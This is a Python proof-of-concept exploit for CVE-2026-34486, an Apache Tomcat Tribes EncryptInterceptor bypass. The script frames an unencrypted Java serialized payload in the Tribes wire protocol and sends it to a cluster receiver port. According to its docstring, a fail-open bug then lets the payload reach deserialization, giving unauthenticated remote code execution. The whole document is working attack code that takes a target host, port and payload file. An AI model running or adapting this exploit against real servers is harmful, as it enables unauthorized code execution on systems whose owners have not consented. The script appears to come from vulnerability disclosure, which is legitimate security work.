#!/usr/bin/env python3 """ CVE-2026-34486 - Apache Tomcat Tribes EncryptInterceptor bypass, unauthenticated RCE Found and reported by: Bartlomiej Dmitruk (striga.ai) Sends a serialized Java object through the Tribes wire protocol to a Tomcat cluster receiver port. The object is wrapped in a ChannelData envelope with the required FLT2002/TLF2003 framing. The payload is NOT encrypted. If EncryptInterceptor is configured, decryption will fail, but due to the fail-open bug at EncryptInterceptor.java:146 the message is still forwarded to GroupChannel.messageReceived() -> XByteBuffer.deserialize() -> ObjectInputStream.readObject(). Usage: python3 send_payload.py Example: python3 send_payload.py localhost 4000 payload.bin """ import io import socket import struct import sys import time START_DATA = b"FLT2002" END_DATA = b"TLF2003" TRIBES_MBR_BEGIN = bytes([84, 82, 73, 66, 69, 83, 45, 66, 1, 0]) TRIBES_MBR_END = bytes([84, 82, 73, 66, 69, 83, 45, 69, 1, 0]) def build_member() -> bytes: host = bytes([127, 0, 0, 1]) body = ( struct.pack(">q", int(time.time() * 1000)) # alive + struct.pack(">i", 4001) # port + struct.pack(">i", 0) # secure port + struct.pack(">i", 0) # udp port + bytes([len(host)]) + host # host + struct.pack(">i", 0) # command length + struct.pack(">i", 0) # domain length + b"\x01" * 16 # uniqueId + struct.pack(">i", 0) # payload length ) return TRIBES_MBR_BEGIN + struct.pack(">i", len(body)) + body + TRIBES_MBR_END def build_packet(serialized: bytes) -> bytes: member = build_member() uid = b"\xDD" * 16 cd = io.BytesIO() cd.write(struct.pack(">i", 0)) # options cd.write(struct.pack(">q", int(time.time() * 1000))) # timestamp cd.write(struct.pack(">i", len(uid))) cd.write(uid) cd.write(struct.pack(">i", len(member))) cd.write(member) cd.write(struct.pack(">i", len(serialized))) cd.write(serialized) data = cd.getvalue() return START_DATA + struct.pack(">i", len(data)) + data + END_DATA def main(): if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} ") sys.exit(1) host = sys.argv[1] port = int(sys.argv[2]) payload_file = sys.argv[3] with open(payload_file, "rb") as f: serialized = f.read() if serialized[:2] != b"\xac\xed": print("[-] Warning: file does not start with Java serialization magic (ACED)") packet = build_packet(serialized) print(f"[*] Connecting to {host}:{port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((host, port)) print(f"[*] Sending {len(packet)} bytes ({len(serialized)} byte payload)") sock.sendall(packet) time.sleep(2) sock.close() print("[+] Sent. Check target for evidence of code execution.") if __name__ == "__main__": main()